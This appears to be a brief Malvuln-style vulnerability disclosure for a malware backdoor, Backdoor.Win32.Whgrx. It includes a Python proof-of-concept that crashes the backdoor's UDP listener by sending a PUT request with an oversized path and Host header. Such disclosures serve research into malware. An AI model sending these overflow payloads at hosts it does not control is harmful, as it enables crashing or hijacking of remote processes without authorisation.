Backdoor.Win32.Whgrx Remote Stack Buffer Overflow

Backdoor.Win32.Whgrx Remote Stack Buffer Overflow

Backdoor.Win32.Whgrx malware suffers from a remote host header stack buffer overflow vulnerability.

Exploit/PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=65000

def doit():
    #UDP Protocol
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PACKO="PUT /"+"A"*6000+ "HTTP/1.1\r\nHost: "+"B"*2126
    
    s.send(PACKO)
    s.close()
    print("Backdoor.Win32.Whgrx / Remote Host Header Stack Buffer Overflow");
    print("MD5: eb6fd418cd3b52132ffb029b52839edf");
    print("By Malvuln");

if __name__=="__main__":
    doit()